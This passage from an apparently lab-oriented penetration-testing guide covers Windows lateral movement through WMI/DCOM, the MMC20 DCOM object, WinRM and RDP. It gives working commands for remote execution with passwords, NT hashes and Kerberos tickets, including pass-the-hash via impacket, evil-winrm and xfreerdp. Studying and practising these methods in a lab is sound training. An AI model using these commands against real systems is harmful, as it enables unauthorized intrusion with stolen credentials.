A credential appears valid but the destination's usable access is unknown	Real source-to-service route, correct identity context and protocol-specific execution/logon rights	§6.4.4.5 — Match route, destination service and effective authorization

6.4.4.10 Execute through WMI or native CIM over DCOM

Choose when: A destination exposes WMI/DCOM and the identity has useful namespace/process rights · Result: A remote process effect and, when available, retrieved command output

Blocks: 12; consumes routes from 13. Operational procedure | Operational procedure | Quick sheet

6.4.4.10.1 Purpose and result

A remote process effect and, when available, retrieved command output.

6.4.4.10.2 Recognition clues

A destination exposes WMI/DCOM and the identity has useful namespace/process rights.

6.4.4.10.2.1 Find the clue from your starting access

Where to investigate: Investigate WMI from RPC/service inventory and exact account rights; keep process creation and SMB-based output retrieval as separate legs.

Discovery action — reference example:

Access/context: Identified authentication material, destination service reachability and a candidate authorized identity

Conditions, effects and verification

Requires: RPC endpoint mapper plus negotiated dynamic ports; effective WMI/DCOM rights; the selected output path may additionally need SMB

Action class: Remote authentication/execution; service/file mechanisms can change target state.

Stop/verify: Verify destination process/effect and execution identity separately from captured stdout.

Failure/next check: Port 135 alone is insufficient. Distinguish RPC route, namespace permission, output share and local token filtering.

Test-NetConnection TARGET -Port 135
Test-NetConnection TARGET -Port 445

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Endpoint mapper: reachable
SMB output path: reachable
Dynamic RPC and WMI namespace rights: unknown

Recognize this detail: Port 135 and an output route justify further checks but do not prove a WMI process can be created.

Still missing before method selection: Validate dynamic ports, DCOM/WMI authorization, native CIM transport choice and actual effect.

Outcome after checking	Example and next decision
Enabled after validation	Authorized process creation plus a working observation/output path exists: use WMI/CIM.
Ruled out in this context	The required namespace/activation permission is denied: reject that identity's WMI route.
Inconclusive	Execution may succeed with failed output retrieval; inspect a controlled effect before concluding.

If you do not yet have this clue: start with Match route, destination service and effective authorization.

6.4.4.10.3 Prerequisites

Starting access: Identified authentication material, destination service reachability and a candidate authorized identity. Required conditions: RPC endpoint mapper plus negotiated dynamic ports; effective WMI/DCOM rights; the selected output path may additionally need SMB.

6.4.4.10.4 Discover and verify prerequisites

Test-NetConnection TARGET -Port 135
Test-NetConnection TARGET -Port 445

6.4.4.10.5 Why it works

WMI can create a process while SMB output retrieval fails. Modern CIM defaults can use WSMan, so select the documented DCOM session option when that transport is intended.

6.4.4.10.6 Execute and choose variants

impacket-wmiexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-wmiexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

WMIExec creates processes through WMI/DCOM. Its normal output channel uses SMB and defaults to ADMIN$; therefore a WMI process may run even when output retrieval fails. -nooutput or -silentcommand changes that evidence channel.

Kerberos with separate name and route:

export KRB5CCNAME="$PWD/USER.ccache"
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

6.4.4.10.6.1 One command, no SMB output

impacket-wmiexec -nooutput 'DOMAIN/USER:PASSWORD@TARGET' "cmd.exe /c echo MOVEMENT_OK > C:\Windows\Temp\movement-proof.txt"

Verify the harmless artifact through an independently authorized channel. No returned stdout is expected.

$Credential = Get-Credential 'DOMAIN\USER'
$Options = New-CimSessionOption -Protocol Dcom
$Session = New-CimSession -ComputerName TARGET_HOST -Credential $Credential -SessionOption $Options

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
  CommandLine = 'cmd.exe /c hostname > C:\Windows\Temp\movement-proof.txt'
}

Remove-CimSession $Session

ReturnValue = 0 and a process ID confirm process creation, not its final effect. WMI-created processes run in session 0; GUI programs will not appear on an interactive desktop.

6.4.4.10.7 Worked example — hypothetical

Observation: WMIExec appears to hang after process creation. Test: check the controlled effect independently and inspect SMB output access. Illustrative output: the process ran but the share read was denied. Interpretation: execution is proven; repair the output channel or use another observation.

6.4.4.10.8 Verify the result

Verify destination process/effect and execution identity separately from captured stdout.

6.4.4.10.9 Failure and fallback

Port 135 alone is insufficient. Distinguish RPC route, namespace permission, output share and local token filtering.

6.4.4.10.10 Continue from the interpreted result

Observed result	Check before proceeding	Next numbered section
A PoC, injected command or remote client reports execution	A functioning execution primitive and an observable output or controlled side effect	§4.2.5 — Verify command execution, host and represented identity
Command execution or payload delivery exists but the expected usable channel does not	A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence	§7.1.13 — Diagnose connection direction, listener and session failures in order
A WinRM listener and a candidate endpoint-authorized account	Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context	§6.4.4.12 — Use WinRM, WinRS or PowerShell remoting

6.4.4.11 Execute through an authorized DCOM application object

Choose when: A usable remote COM application and effective activation/method rights · Result: A verified remote application-mediated process effect

Blocks: 12; consumes routes from 13. Operational procedure | Quick sheet

6.4.4.11.1 Purpose and result

A verified remote application-mediated process effect.

6.4.4.11.2 Recognition clues

A usable remote COM application and effective activation/method rights.

6.4.4.11.2.1 Find the clue from your starting access

Where to investigate: Use the target's RPC and administration evidence to investigate a specific supported COM application, rather than treating DCOM as a universal shell.

Discovery action — reference example:

Access/context: Identified authentication material, destination service reachability and a candidate authorized identity

Conditions, effects and verification

Requires: RPC/dynamic-port route, allowed DCOM activation and application method, supported authentication and target component

Action class: Remote authentication/execution; service/file mechanisms can change target state.

Stop/verify: Verify the actual destination effect and identity; COM object creation alone does not prove command execution.

Failure/next check: Component absence, activation rights, modern DCOM hardening or unsupported client Kerberos can block this route.

Test-NetConnection TARGET -Port 135

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

RPC endpoint mapper: reachable
Candidate application: MMC20.Application.1
Activation/method authorization: not yet known

Recognize this detail: A named application and route form a candidate; component availability and allowed activation/method remain separate.

Still missing before method selection: Check dynamic RPC, actual class/rights, authentication/tool support, method and verifiable output/effect.

Outcome after checking	Example and next decision
Enabled after validation	The intended authorized application method produces the remote effect: choose this DCOM route.
Ruled out in this context	The component is absent or activation is denied: reject that class-based chain.
Inconclusive	A created COM object without command/effect evidence leaves execution unproved.

If you do not yet have this clue: start with Match route, destination service and effective authorization.

6.4.4.11.3 Prerequisites

Starting access: Identified authentication material, destination service reachability and a candidate authorized identity. Required conditions: RPC/dynamic-port route, allowed DCOM activation and application method, supported authentication and target component.

6.4.4.11.4 Discover and verify prerequisites

Test-NetConnection TARGET -Port 135

6.4.4.11.5 Why it works

A DCOM application can expose a method that launches commands under its authorized context. Session 0 can hide graphical output, so use a verifiable process/file/command effect.

6.4.4.11.6 Execute and choose variants

Current Windows token:

$Type = [type]::GetTypeFromProgID('MMC20.Application.1','TARGET_HOST')
$Object = [Activator]::CreateInstance($Type)
$Object.Document.ActiveView.ExecuteShellCommand(
  'cmd.exe',
  $null,
  '/c hostname > C:\Windows\Temp\movement-proof.txt',
  '7'
)

Impacket with password or NT hash:

impacket-dcomexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-dcomexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

Current Impacket dcomexec explicitly rejects Kerberos for its supported MMC/Shell DCOM objects because they do not accept the required HOST ticket. Use wmiexec -k when Kerberos command execution is required. DCOM class availability, RPC reachability and launch/access permissions vary.

6.4.4.11.7 Worked example — hypothetical

Observation: an MMC object can be activated remotely. Test: invoke the documented minimal command and observe its output/effect. Illustrative output: a target-side marker appears while no desktop window is visible. Interpretation: session isolation explains the missing GUI.

6.4.4.11.8 Verify the result

Verify the actual destination effect and identity; COM object creation alone does not prove command execution.

6.4.4.11.9 Failure and fallback

Component absence, activation rights, modern DCOM hardening or unsupported client Kerberos can block this route.

6.4.4.11.10 Continue from the interpreted result

Observed result	Check before proceeding	Next numbered section
A PoC, injected command or remote client reports execution	A functioning execution primitive and an observable output or controlled side effect	§4.2.5 — Verify command execution, host and represented identity
A credential appears valid but the destination's usable access is unknown	Real source-to-service route, correct identity context and protocol-specific execution/logon rights	§6.4.4.5 — Match route, destination service and effective authorization
A simple command works while a longer or nested payload fails	Known outer request/template/database parser and inner shell; correct character encoding and transport length	§7.1.8 — Repair quoting, encoding and command-length boundaries

6.4.4.12 Use WinRM, WinRS or PowerShell remoting

Choose when: A WinRM listener and a candidate endpoint-authorized account · Result: A verified remote command session under the endpoint-authorized identity

Blocks: 12; consumes routes from 13. Operational procedure | Quick sheet

6.4.4.12.1 Purpose and result

A verified remote command session under the endpoint-authorized identity.

6.4.4.12.2 Recognition clues

A WinRM listener and a candidate endpoint-authorized account.

6.4.4.12.2.1 Find the clue from your starting access

Where to investigate: Check observed WinRM listeners from the real source and relate the identity to the configured endpoint/session authorization.

Discovery action — reference example:

Access/context: Identified authentication material, destination service reachability and a candidate authorized identity

Conditions, effects and verification

Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context

Action class: Remote authentication/execution; service/file mechanisms can change target state.

Stop/verify: Verify hostname, whoami /all and the actual session configuration/rights.

Failure/next check: Authentication denial, endpoint denial, TLS/name mismatch and second-hop failure require different fixes.

Test-NetConnection TARGET -Port 5985
Test-NetConnection TARGET -Port 5986

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

5985: reachable
SMB credential: accepted
WinRM endpoint authorization: unknown

Recognize this detail: A reachable endpoint plus a known credential is a candidate, not proof the account may enter that remoting session.

Still missing before method selection: Verify accepted authentication, correct name/TLS context, endpoint rights and any second-hop requirements.

Outcome after checking	Example and next decision
Enabled after validation	The endpoint opens the intended session and identity is verified: choose WinRM/WinRS/remoting.
Ruled out in this context	A valid account is denied the endpoint: reject that session configuration for this identity.
Inconclusive	Second-hop resource failure does not disprove the first WinRM authentication.

If you do not yet have this clue: start with Match route, destination service and effective authorization.

6.4.4.12.3 Prerequisites

Starting access: Identified authentication material, destination service reachability and a candidate authorized identity. Required conditions: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context.

6.4.4.12.4 Discover and verify prerequisites

Test-NetConnection TARGET -Port 5985
Test-NetConnection TARGET -Port 5986

6.4.4.12.5 Why it works

WinRM authentication is separate from endpoint authorization and delegated second-hop credentials. Evil-WinRM, WinRS and native remoting expose related services with different client features.

6.4.4.12.6 Execute and choose variants

6.4.4.12.6.1.1 Open a remote command session through verified WinRM rights Evil-WinRM

6.4.4.12.6.1.1.1 Authenticate with a known password using a supported prompt Password; omit -p to prompt where supported

# Password; omit -p to prompt where supported
evil-winrm -i TARGET_HOST -u USER -p 'PASSWORD'

6.4.4.12.6.1.1.2 Use or recover a password from an identified NT hash NT hash

# NT hash
evil-winrm -i TARGET_HOST -u USER -H NT_HASH

6.4.4.12.6.1.1.3 Connect to the verified remote-management HTTPS listener HTTPS listener

# HTTPS listener
evil-winrm -i TARGET_HOST -u USER -p 'PASSWORD' -S -P 5986

Current Evil-WinRM ticket-file support:

evil-winrm -i TARGET_FQDN -r DOMAIN -K USER.ccache --spn HTTP

Need: reachable 5985/5986, an enabled WinRM/PowerShell endpoint and endpoint authorization. The identity is commonly an administrator or a member of the applicable remote-management group, but endpoint SDDL/policy is decisive. Kerberos requires the FQDN/SPN, realm/KDC configuration and a compatible ticket.

6.4.4.12.6.1.2 Open a remote command session through verified WinRM rights Native WinRS

winrs /r:TARGET_HOST /u:DOMAIN\USER /p:PASSWORD "cmd /c hostname & whoami"

To avoid retaining a password on the command line, use the current authorized Windows credential context where possible:

winrs /r:TARGET_HOST "cmd /c hostname & whoami"

WinRS uses WinRM. A non-administrator can require /noprofile depending on endpoint configuration. /allowdelegate affects onward credential use and is not a default fix for the double-hop problem.

6.4.4.12.6.1.3 Open a remote command session through verified WinRM rights PowerShell remoting

Test-WSMan TARGET_HOST
$Credential = Get-Credential 'DOMAIN\USER'

Invoke-Command -ComputerName TARGET_HOST -Credential $Credential -ScriptBlock {
  hostname
  whoami /all
}

$Session = New-PSSession -ComputerName TARGET_HOST -Credential $Credential
Enter-PSSession -Session $Session

A hostname normally supports Negotiate/Kerberos in a domain. An IP address requires explicit credentials and generally HTTPS or a tightly scoped TrustedHosts configuration. Do not weaken global TrustedHosts merely to hide DNS/SPN mistakes.

6.4.4.12.7 Worked example — hypothetical

Observation: domain credentials work over SMB. Test: check the WinRM endpoint and rights. Illustrative output: an authenticated PowerShell session opens, but access to a second network resource fails. Interpretation: investigate double-hop delegation, not the original password.

6.4.4.12.8 Verify the result

Verify hostname, whoami /all and the actual session configuration/rights.

6.4.4.12.9 Failure and fallback

Authentication denial, endpoint denial, TLS/name mismatch and second-hop failure require different fixes.

6.4.4.12.10 Continue from the interpreted result

Observed result	Check before proceeding	Next numbered section
A new Windows session or claimed administrator/SYSTEM transition	A functioning command channel and the actual effective token/process context	§5.2.5 — Establish Windows token, host and process context
A controlled Windows host may hold useful logged-on identities	Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material	§6.3.11.5 — Obtain accessible live logon-session credential material
A credential appears valid but the destination's usable access is unknown	Real source-to-service route, correct identity context and protocol-specific execution/logon rights	§6.4.4.5 — Match route, destination service and effective authorization

6.4.4.13 Obtain an authorized RDP interactive session

Choose when: RDP is reachable and the identity may have remote-interactive logon rights · Result: A verified remote-interactive desktop/logon context

Blocks: 12; consumes routes from 13. Operational procedure | Operational procedure | Quick sheet

6.4.4.13.1 Purpose and result

A verified remote-interactive desktop/logon context.

6.4.4.13.2 Recognition clues

RDP is reachable and the identity may have remote-interactive logon rights.

6.4.4.13.2.1 Find the clue from your starting access

Where to investigate: Check the destination RDP endpoint and use actual group/logon-policy evidence for the candidate identity; determine whether password or Restricted Admin is intended.

Discovery action — reference example:

Access/context: Identified authentication material, destination service reachability and a candidate authorized identity

Conditions, effects and verification

Requires: Allowed account/session policy and compatible client/NLA/TLS; hash-based Restricted Admin has additional supported-policy/admin requirements

Action class: Remote authentication/execution; service/file mechanisms can change target state.

Stop/verify: Verify destination, user/token and permitted desktop actions; keep credentials out of reusable screenshots/notes.

Failure/next check: A valid password can still lack logon rights. NLA, TLS, domain qualification and Restricted Admin policy are separate conditions.

Test-NetConnection TARGET -Port 3389

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

3389: reachable
Candidate identity: DOMAIN\USER
Remote-interactive logon right: not yet confirmed

Recognize this detail: RDP transport does not grant desktop access; Restricted Admin/hash use has additional requirements.

Still missing before method selection: Check NLA/TLS, identity qualification, logon authorization and the chosen authentication mode.

Outcome after checking	Example and next decision
Enabled after validation	The authorized interactive logon opens under the verified token: choose RDP.
Ruled out in this context	The account lacks the required logon right or the hash route lacks Restricted Admin support: reject that variant.
Inconclusive	A generic connection error requires separating client/protocol/policy before judging the credential.

If you do not yet have this clue: start with Match route, destination service and effective authorization.

6.4.4.13.3 Prerequisites

Starting access: Identified authentication material, destination service reachability and a candidate authorized identity. Required conditions: Allowed account/session policy and compatible client/NLA/TLS; hash-based Restricted Admin has additional supported-policy/admin requirements.

6.4.4.13.4 Discover and verify prerequisites

Test-NetConnection TARGET -Port 3389

6.4.4.13.5 Why it works

RDP is an access method, not automatic local elevation. Restricted Admin/hash use and ordinary password logon have different requirements and network credential behavior.

6.4.4.13.6 Execute and choose variants

Check the installed binary name:

command -v xfreerdp3 || command -v xfreerdp

Password:

xfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /p:'PASSWORD' /cert:ignore /dynamic-resolution +clipboard

Older packages may expose the same syntax through xfreerdp.

NT hash:

xfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /pth:NT_HASH /cert:ignore /dynamic-resolution

FreeRDP's /pth uses Restricted Admin mode. The target must support/permit that mode and the identity must be an administrator; ordinary Remote Desktop Users membership is not sufficient for Restricted Admin. Password-based RDP instead needs the Remote Desktop service, NLA compatibility and the effective “Allow log on through Remote Desktop Services” right without a deny override.

Native client:

mstsc.exe /v:TARGET_HOST
mstsc.exe /restrictedAdmin /v:TARGET_HOST

Ordinary RDP can place reusable user credentials in the destination's LSASS. Restricted Admin avoids sending those reusable credentials but prevents ordinary onward access as that user; treat the resulting session's network identity separately.

Purpose: use a validated identity with Remote Desktop logon rights to establish a Windows desktop and verify the resulting source position.

6.4.4.13.6.1.1 Baseline: prompt for the password

xfreerdp3 /v:TARGET /u:USER /dynamic-resolution /cert:ignore

Some Kali releases expose xfreerdp instead of xfreerdp3; check command -v xfreerdp3 xfreerdp and the selected binary's /help output.

Decisive output: a usable desktop establishes a remote session. Open PowerShell or Command Prompt and verify whoami, hostname and ipconfig before treating commands as target-origin execution.

6.4.4.13.6.1.1.1 Variant — domain identity

xfreerdp3 /v:TARGET /u:USER /d:DOMAIN /dynamic-resolution /cert:ignore

Local and domain accounts with the same username are different identities. Make the intended context explicit when results differ.

6.4.4.13.6.1.1.2 Variant — authentication only

xfreerdp3 /v:TARGET /u:USER /d:DOMAIN /auth-only /cert:ignore

This tests authentication without opening the UI. Success does not guarantee that all session policies or desktop initialization will permit a full session.

6.4.4.13.6.1.1.3 Variant — explicit password

xfreerdp3 /v:TARGET /u:USER '/p:PASSWORD' /dynamic-resolution /cert:ignore

Prefer prompting because command-line passwords can enter shell history and process listings.

Failure cues: a certificate warning is not a credential result. NLA/security negotiation, account context, authentication, Remote Desktop logon rights and an already occupied/restricted session can fail separately. /cert:ignore is appropriate only for the controlled lab context because it removes certificate identity validation.

Next: after verifying the host and identity, enumerate groups/privileges, files, local services/listeners and routes from the new source position.

6.4.4.13.7 Worked example — hypothetical

Observation: a domain user is in the destination's RDP access group. Test: perform a correctly qualified login. Illustrative output: a desktop opens under a non-admin token. Interpretation: establish host/token state and inspect the new access context.

6.4.4.13.8 Verify the result

Verify destination, user/token and permitted desktop actions; keep credentials out of reusable screenshots/notes.

6.4.4.13.9 Failure and fallback

A valid password can still lack logon rights. NLA, TLS, domain qualification and Restricted Admin policy are separate conditions.

6.4.4.13.10 Continue from the interpreted result

Observed result	Check before proceeding	Next numbered section
A new Windows session or claimed administrator/SYSTEM transition	A functioning command channel and the actual effective token/process context	§5.2.5 — Establish Windows token, host and process context
Readable application configuration, unattended setup, PowerShell trails or Credential Manager entries	Artifact read permission and exact protecting identity/context for saved or DPAPI material	§5.2.7 — Recover Windows application, history and stored-credential artifacts
A password, actual NT hash, AES/NT long-term key or ticket is available	Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization	§6.4.4.6 — Select password, NT hash, key-to-ticket or ticket authentication

6.4.4.14 Sources and shared concepts

Supplied PEN-200 Ch 24 pp793–812. Impacket examples, Open a remote command session through verified WinRM rights, Validate and use an authorized remote desktop session.

Commands and their adjacent variant conditions are synchronized extracts of the linked operational procedures. Those procedures own complete execution details; this guide owns method selection, explanations and worked reasoning. Tool availability on the learner's Kali or a target must be checked in that environment.